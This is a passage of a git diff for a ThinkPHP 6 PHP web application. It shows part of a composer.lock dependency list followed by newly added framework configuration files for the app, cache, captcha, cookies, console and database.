"notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interface for caching libraries", + "keywords": [ + "cache", + "psr", + "psr-6" + ], + "support": { + "source": "https://github.com/php-fig/cache/tree/master" + }, + "time": "2016-08-06T20:24:11+00:00" + }, + { + "name": "psr/container", + "version": "1.1.1", + "source": { + "type": "git", + "url": "https://github.com/php-fig/container.git", + "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/container/zipball/8622567409010282b7aeebe4bb841fe98b58dcaf", + "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.2.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common Container Interface (PHP FIG PSR-11)", + "homepage": "https://github.com/php-fig/container", + "keywords": [ + "PSR-11", + "container", + "container-interface", + "container-interop", + "psr" + ], + "support": { + "issues": "https://github.com/php-fig/container/issues", + "source": "https://github.com/php-fig/container/tree/1.1.1" + }, + "time": "2021-03-05T17:36:06+00:00" + }, + { + "name": "psr/log", + "version": "1.1.4", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11", + "reference": "d49695b909c3b7628b6289db5479a1c204601f11", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": "Psr/Log/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "support": { + "source": "https://github.com/php-fig/log/tree/1.1.4" + }, + "time": "2021-05-03T11:20:27+00:00" + }, + { + "name": "psr/simple-cache", + "version": "1.0.1", + "source": { + "type": "git", + "url": "https://github.com/php-fig/simple-cache.git", + "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=5.3.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\SimpleCache\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Common interfaces for simple caching", + "keywords": [ + "cache", + "caching", + "psr", + "psr-16", + "simple-cache" + ], + "support": { + "source": "https://github.com/php-fig/simple-cache/tree/master" + }, + "time": "2017-10-23T01:57:42+00:00" + }, + { + "name": "stechstudio/backoff", + "version": "1.2", + "source": { + "type": "git", + "url": "https://github.com/stechstudio/backoff.git", + "reference": "816e46107a6be2e1072ba0ff2cb26034872dfa49" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/stechstudio/backoff/zipball/816e46107a6be2e1072ba0ff2cb26034872dfa49", + "reference": "816e46107a6be2e1072ba0ff2cb26034872dfa49", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require-dev": { + "phpunit/phpunit": "5.5.*" + }, + "type": "library", + "autoload": { + "psr-4": { + "STS\\Backoff\\": "src" + }, + "files": [ + "src/helpers.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Joseph Szobody", + "email": "joseph@stechstudio.com" + } + ], + "description": "PHP library providing retry functionality with multiple backoff strategies and jitter support", + "support": { + "issues": "https://github.com/stechstudio/backoff/issues", + "source": "https://github.com/stechstudio/backoff/tree/1.2" + }, + "time": "2020-12-26T14:57:10+00:00" + }, + { + "name": "swoole/ide-helper", + "version": "4.7.0", + "source": { + "type": "git", + "url": "https://github.com/swoole/ide-helper.git", + "reference": "8c181b9cbe9980778f0aa7e88f8ebf1506f28122" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/swoole/ide-helper/zipball/8c181b9cbe9980778f0aa7e88f8ebf1506f28122", + "reference": "8c181b9cbe9980778f0aa7e88f8ebf1506f28122", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require-dev": { + "guzzlehttp/guzzle": "~6.5.0", + "laminas/laminas-code": "~3.4.0", + "squizlabs/php_codesniffer": "~3.5.0", + "symfony/filesystem": "~4.0" + }, + "type": "library", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "Team Swoole", + "email": "team@swoole.com" + } + ], + "description": "IDE help files for Swoole.", + "support": { + "issues": "https://github.com/swoole/ide-helper/issues", + "source": "https://github.com/swoole/ide-helper/tree/4.7.0" + }, + "funding": [ + { + "url": "https://gitee.com/swoole/swoole?donate=true", + "type": "custom" + }, + { + "url": "https://github.com/swoole", + "type": "github" + } + ], + "time": "2021-07-16T18:20:17+00:00" + }, + { + "name": "symfony/finder", + "version": "v5.3.4", + "source": { + "type": "git", + "url": "https://github.com/symfony/finder.git", + "reference": "17f50e06018baec41551a71a15731287dbaab186" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/finder/zipball/17f50e06018baec41551a71a15731287dbaab186", + "reference": "17f50e06018baec41551a71a15731287dbaab186", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.2.5", + "symfony/polyfill-php80": "^1.16" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Finder\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Finds files and directories via an intuitive fluent interface", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/finder/tree/v5.3.4" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2021-07-23T15:54:19+00:00" + }, + { + "name": "symfony/polyfill-php80", + "version": "v1.23.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php80.git", + "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/1100343ed1a92e3a38f9ae122fc0eb21602547be", + "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.23-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Polyfill\\Php80\\": "" + }, + "files": [ + "bootstrap.php" + ], + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ion Bazan", + "email": "ion.bazan@gmail.com" + }, + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php80/tree/v1.23.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2021-07-28T13:41:28+00:00" + }, + { + "name": "topthink/framework", + "version": "v6.0.9", + "source": { + "type": "git", + "url": "https://github.com/top-think/framework.git", + "reference": "0b5fb453f0e533de3af3a1ab6a202510b61be617" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/framework/zipball/0b5fb453f0e533de3af3a1ab6a202510b61be617", + "reference": "0b5fb453f0e533de3af3a1ab6a202510b61be617", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-json": "*", + "ext-mbstring": "*", + "league/flysystem": "^1.1.4", + "league/flysystem-cached-adapter": "^1.0", + "php": ">=7.2.5", + "psr/container": "~1.0", + "psr/log": "~1.0", + "psr/simple-cache": "^1.0", + "topthink/think-helper": "^3.1.1", + "topthink/think-orm": "^2.0" + }, + "require-dev": { + "mikey179/vfsstream": "^1.6", + "mockery/mockery": "^1.2", + "phpunit/phpunit": "^7.0" + }, + "type": "library", + "autoload": { + "files": [], + "psr-4": { + "think\\": "src/think/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + }, + { + "name": "yunwuxin", + "email": "448901948@qq.com" + } + ], + "description": "The ThinkPHP Framework.", + "homepage": "http://thinkphp.cn/", + "keywords": [ + "framework", + "orm", + "thinkphp" + ], + "support": { + "issues": "https://github.com/top-think/framework/issues", + "source": "https://github.com/top-think/framework/tree/v6.0.9" + }, + "time": "2021-07-22T03:24:49+00:00" + }, + { + "name": "topthink/think-captcha", + "version": "v3.0.3", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-captcha.git", + "reference": "1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-captcha/zipball/1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55", + "reference": "1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "topthink/framework": "^6.0.0" + }, + "type": "library", + "extra": { + "think": { + "services": [ + "think\\captcha\\CaptchaService" + ], + "config": { + "captcha": "src/config.php" + } + } + }, + "autoload": { + "psr-4": { + "think\\captcha\\": "src/" + }, + "files": [ + "src/helper.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "yunwuxin", + "email": "448901948@qq.com" + } + ], + "description": "captcha package for thinkphp", + "support": { + "issues": "https://github.com/top-think/think-captcha/issues", + "source": "https://github.com/top-think/think-captcha/tree/v3.0.3" + }, + "time": "2020-05-19T10:55:45+00:00" + }, + { + "name": "topthink/think-helper", + "version": "v3.1.5", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-helper.git", + "reference": "f98e3ad44acd27ae85a4d923b1bdfd16c6d8d905" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-helper/zipball/f98e3ad44acd27ae85a4d923b1bdfd16c6d8d905", + "reference": "f98e3ad44acd27ae85a4d923b1bdfd16c6d8d905", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "think\\": "src" + }, + "files": [ + "src/helper.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "yunwuxin", + "email": "448901948@qq.com" + } + ], + "description": "The ThinkPHP6 Helper Package", + "support": { + "issues": "https://github.com/top-think/think-helper/issues", + "source": "https://github.com/top-think/think-helper/tree/v3.1.5" + }, + "time": "2021-06-21T06:17:31+00:00" + }, + { + "name": "topthink/think-multi-app", + "version": "v1.0.14", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-multi-app.git", + "reference": "ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-multi-app/zipball/ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3", + "reference": "ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.0", + "topthink/framework": "^6.0.0" + }, + "type": "library", + "extra": { + "think": { + "services": [ + "think\\app\\Service" + ] + } + }, + "autoload": { + "psr-4": { + "think\\app\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "thinkphp6 multi app support", + "support": { + "issues": "https://github.com/top-think/think-multi-app/issues", + "source": "https://github.com/top-think/think-multi-app/tree/master" + }, + "time": "2020-07-12T13:50:37+00:00" + }, + { + "name": "topthink/think-orm", + "version": "v2.0.44", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-orm.git", + "reference": "5d3d5c1ebf8bfccf34bacd90edb42989b16ea409" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-orm/zipball/5d3d5c1ebf8bfccf34bacd90edb42989b16ea409", + "reference": "5d3d5c1ebf8bfccf34bacd90edb42989b16ea409", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-json": "*", + "ext-pdo": "*", + "php": ">=7.1.0", + "psr/log": "~1.0", + "psr/simple-cache": "^1.0", + "topthink/think-helper": "^3.1" + }, + "require-dev": { + "phpunit/phpunit": "^7|^8|^9.5" + }, + "type": "library", + "autoload": { + "psr-4": { + "think\\": "src" + }, + "files": [ + "stubs/load_stubs.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "think orm", + "keywords": [ + "database", + "orm" + ], + "support": { + "issues": "https://github.com/top-think/think-orm/issues", + "source": "https://github.com/top-think/think-orm/tree/v2.0.44" + }, + "time": "2021-07-21T02:22:31+00:00" + }, + { + "name": "topthink/think-swoole", + "version": "v3.1.3", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-swoole.git", + "reference": "df78b1f6eb6cd8f45f49ab7b0d4cc65595181504" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-swoole/zipball/df78b1f6eb6cd8f45f49ab7b0d4cc65595181504", + "reference": "df78b1f6eb6cd8f45f49ab7b0d4cc65595181504", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "ext-json": "*", + "ext-swoole": ">=4.4.8", + "nette/php-generator": "^3.2", + "open-smf/connection-pool": "~1.0", + "php": ">7.1", + "stechstudio/backoff": "^1.2", + "swoole/ide-helper": "^4.3", + "symfony/finder": "^4.3.2|^5.1", + "topthink/framework": "^6.0" + }, + "require-dev": { + "symfony/var-dumper": "^4.3|^5.1", + "topthink/think-queue": "^3.0", + "topthink/think-tracing": "^1.0" + }, + "type": "library", + "extra": { + "think": { + "services": [ + "think\\swoole\\Service" + ], + "config": { + "swoole": "src/config/swoole.php" + } + } + }, + "autoload": { + "psr-4": { + "think\\swoole\\": "src" + }, + "files": [ + "src/helpers.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "Swoole extend for thinkphp", + "support": { + "issues": "https://github.com/top-think/think-swoole/issues", + "source": "https://github.com/top-think/think-swoole/tree/v3.1.3" + }, + "time": "2021-04-29T10:48:04+00:00" + }, + { + "name": "topthink/think-template", + "version": "v2.0.8", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-template.git", + "reference": "abfc293f74f9ef5127b5c416310a01fe42e59368" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-template/zipball/abfc293f74f9ef5127b5c416310a01fe42e59368", + "reference": "abfc293f74f9ef5127b5c416310a01fe42e59368", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.0", + "psr/simple-cache": "^1.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "think\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "the php template engine", + "support": { + "issues": "https://github.com/top-think/think-template/issues", + "source": "https://github.com/top-think/think-template/tree/v2.0.8" + }, + "time": "2020-12-10T07:52:03+00:00" + }, + { + "name": "topthink/think-view", + "version": "v1.0.14", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-view.git", + "reference": "edce0ae2c9551ab65f9e94a222604b0dead3576d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-view/zipball/edce0ae2c9551ab65f9e94a222604b0dead3576d", + "reference": "edce0ae2c9551ab65f9e94a222604b0dead3576d", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.0", + "topthink/think-template": "^2.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "think\\view\\driver\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "thinkphp template driver", + "support": { + "issues": "https://github.com/top-think/think-view/issues", + "source": "https://github.com/top-think/think-view/tree/v1.0.14" + }, + "time": "2019-11-06T11:40:13+00:00" + } + ], + "packages-dev": [ + { + "name": "symfony/polyfill-mbstring", + "version": "v1.23.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9174a3d80210dca8daa7f31fec659150bbeabfc6", + "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.23-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + }, + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.23.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2021-05-27T12:26:48+00:00" + }, + { + "name": "symfony/polyfill-php72", + "version": "v1.23.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php72.git", + "reference": "9a142215a36a3888e30d0a9eeea9766764e96976" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/9a142215a36a3888e30d0a9eeea9766764e96976", + "reference": "9a142215a36a3888e30d0a9eeea9766764e96976", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.23-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Polyfill\\Php72\\": "" + }, + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php72/tree/v1.23.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2021-05-27T09:17:38+00:00" + }, + { + "name": "symfony/var-dumper", + "version": "v4.4.27", + "source": { + "type": "git", + "url": "https://github.com/symfony/var-dumper.git", + "reference": "391d6d0e7a06ab54eb7c38fab29b8d174471b3ba" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/391d6d0e7a06ab54eb7c38fab29b8d174471b3ba", + "reference": "391d6d0e7a06ab54eb7c38fab29b8d174471b3ba", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.3", + "symfony/polyfill-mbstring": "~1.0", + "symfony/polyfill-php72": "~1.5", + "symfony/polyfill-php80": "^1.16" + }, + "conflict": { + "phpunit/phpunit": "<4.8.35|<5.4.3,>=5.0", + "symfony/console": "<3.4" + }, + "require-dev": { + "ext-iconv": "*", + "symfony/console": "^3.4|^4.0|^5.0", + "symfony/process": "^4.4|^5.0", + "twig/twig": "^1.43|^2.13|^3.0.4" + }, + "suggest": { + "ext-iconv": "To convert non-UTF-8 strings to UTF-8 (or symfony/polyfill-iconv in case ext-iconv cannot be used).", + "ext-intl": "To show region name in time zone dump", + "symfony/console": "To use the ServerDumpCommand and/or the bin/var-dump-server script" + }, + "bin": [ + "Resources/bin/var-dump-server" + ], + "type": "library", + "autoload": { + "files": [ + "Resources/functions/dump.php" + ], + "psr-4": { + "Symfony\\Component\\VarDumper\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides mechanisms for walking through any arbitrary PHP variable", + "homepage": "https://symfony.com", + "keywords": [ + "debug", + "dump" + ], + "support": { + "source": "https://github.com/symfony/var-dumper/tree/v4.4.27" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2021-07-23T15:41:52+00:00" + }, + { + "name": "topthink/think-trace", + "version": "v1.4", + "source": { + "type": "git", + "url": "https://github.com/top-think/think-trace.git", + "reference": "9a9fa8f767b6c66c5a133ad21ca1bc96ad329444" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/top-think/think-trace/zipball/9a9fa8f767b6c66c5a133ad21ca1bc96ad329444", + "reference": "9a9fa8f767b6c66c5a133ad21ca1bc96ad329444", + "shasum": "", + "mirrors": [ + { + "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", + "preferred": true + } + ] + }, + "require": { + "php": ">=7.1.0", + "topthink/framework": "^6.0.0" + }, + "type": "library", + "extra": { + "think": { + "services": [ + "think\\trace\\Service" + ], + "config": { + "trace": "src/config.php" + } + } + }, + "autoload": { + "psr-4": { + "think\\trace\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "Apache-2.0" + ], + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "description": "thinkphp debug trace", + "support": { + "issues": "https://github.com/top-think/think-trace/issues", + "source": "https://github.com/top-think/think-trace/tree/v1.4" + }, + "time": "2020-06-29T05:27:28+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": { + "ext-json": "*", + "php": ">=7.1.0" + }, + "platform-dev": [], + "plugin-api-version": "2.0.0" +} diff --git a/config/app.php b/config/app.php new file mode 100644 index 0000000..ab882a9 --- /dev/null +++ b/config/app.php @@ -0,0 +1,35 @@ + env('app.host', ''), + // 应用的命名空间 + 'app_namespace' => '', + // 是否启用路由 + 'with_route' => true, + // 默认应用 + 'default_app' => 'index', + // 默认时区 + 'default_timezone' => env('app.default_timezone', 'Asia/Singapore'), + + // 应用映射(自动多应用模式有效) + 'app_map' => [], + // 域名绑定(自动多应用模式有效) + 'domain_bind' => [ + env('domain.console') => 'handle', + env('domain.bet', '*') => 'index', + ], + // 禁止URL访问的应用列表(自动多应用模式有效) + 'deny_app_list' => [], + + // 异常页面的模板文件 + 'exception_tmpl' => app()->getThinkPath() . 'tpl/think_exception.tpl', + + // 错误显示信息,非调试模式有效 + 'error_message' => 'SOMETHING WRONG. TRY AGAIN LATER!', + // 显示错误信息 + 'show_error_msg' => false, +]; diff --git a/config/cache.php b/config/cache.php new file mode 100644 index 0000000..2555e2c --- /dev/null +++ b/config/cache.php @@ -0,0 +1,35 @@ + env('cache.driver', 'file'), + + // 缓存连接方式配置 + 'stores' => [ + 'file' => [ + // 驱动方式 + 'type' => 'File', + // 缓存保存目录 + 'path' => '', + // 缓存前缀 + 'prefix' => '', + // 缓存有效期 0表示永久缓存 + 'expire' => 0, + // 缓存标签前缀 + 'tag_prefix' => 'tag:', + // 序列化机制 例如 ['serialize', 'unserialize'] + 'serialize' => [], + ], + 'redis' => [ + 'type' => 'Redis', + 'host' => '127.0.0.1', + 'port' => 6379, + 'expire' => 0 + ], + // 更多的缓存连接 + ], +]; diff --git a/config/captcha.php b/config/captcha.php new file mode 100644 index 0000000..9bbf529 --- /dev/null +++ b/config/captcha.php @@ -0,0 +1,39 @@ + 5, + // 验证码字符集合 + 'codeSet' => '2345678abcdefhijkmnpqrstuvwxyzABCDEFGHJKLMNPQRTUVWXY', + // 验证码过期时间 + 'expire' => 1800, + // 是否使用中文验证码 + 'useZh' => false, + // 是否使用算术验证码 + 'math' => false, + // 是否使用背景图 + 'useImgBg' => false, + //验证码字符大小 + 'fontSize' => 25, + // 是否使用混淆曲线 + 'useCurve' => true, + //是否添加杂点 + 'useNoise' => true, + // 验证码字体 不设置则随机 + 'fontttf' => '', + //背景颜色 + 'bg' => [243, 251, 254], + // 验证码图片高度 + 'imageH' => 0, + // 验证码图片宽度 + 'imageW' => 0, + + // 添加额外的验证码设置 + // verify => [ + // 'length'=>4, + // ... + //], +]; diff --git a/config/console.php b/config/console.php new file mode 100644 index 0000000..a818a98 --- /dev/null +++ b/config/console.php @@ -0,0 +1,9 @@ + [ + ], +]; diff --git a/config/cookie.php b/config/cookie.php new file mode 100644 index 0000000..e753b6a --- /dev/null +++ b/config/cookie.php @@ -0,0 +1,18 @@ + 60 * 60 * 24, + // cookie 保存路径 + 'path' => '/', + // cookie 有效域名 + 'domain' => '', + // cookie 启用安全传输 + 'secure' => false, + // httponly设置 + 'httponly' => false, + // 是否使用 setcookie + 'setcookie' => true, +]; diff --git a/config/database.php b/config/database.php new file mode 100644 index 0000000..d2e526f --- /dev/null +++ b/config/database.php @@ -0,0 +1,65 @@ + env('database.driver', 'mysql'), + + // 自定义时间查询规则 + 'time_query_rule' => [], + + // 自动写入时间戳字段 + // true为自动识别类型 false关闭 + // 字符串则明确指定时间字段类型 支持 